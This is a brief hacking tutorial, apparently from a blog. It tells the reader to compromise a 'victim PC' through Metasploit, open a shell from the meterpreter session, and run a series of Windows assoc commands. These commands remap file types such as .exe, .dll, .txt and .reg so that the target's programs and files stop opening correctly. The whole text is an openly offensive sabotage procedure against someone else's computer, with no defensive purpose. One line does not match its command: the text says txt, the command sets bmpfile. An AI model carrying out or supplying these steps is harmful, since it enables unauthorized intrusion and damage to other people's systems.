First Hack the Victim PC Using Metasploit (Tutorial How to Hack Remote PC)
Once you got the meterpreter session use ‘shell ‘command to get command prompt of the target
To change the file type association for .dll files to txt type assoc .dll=txtfile then press ENTER.
To change the file type association for .exe files to png type assoc .exe=pngfile then press ENTER
To change the file type association for .mp3 files to jpg type assoc .mp3=jpgfile then press ENTER.
To change the file type association for .reg files to xml type assoc .reg=xmlfile then press ENTER.
To change the file type association for .txt files to reg type assoc .txt=regfile then press ENTER.
To change the file type association for .png files to txt type assoc .png=txtfile then press ENTER.
To change the file type association for .xml files to txt type assoc .xml=txtfile then press ENTER.
To change the file type association for .vbs files to txt type assoc .vbs=bmpfile then press ENTER.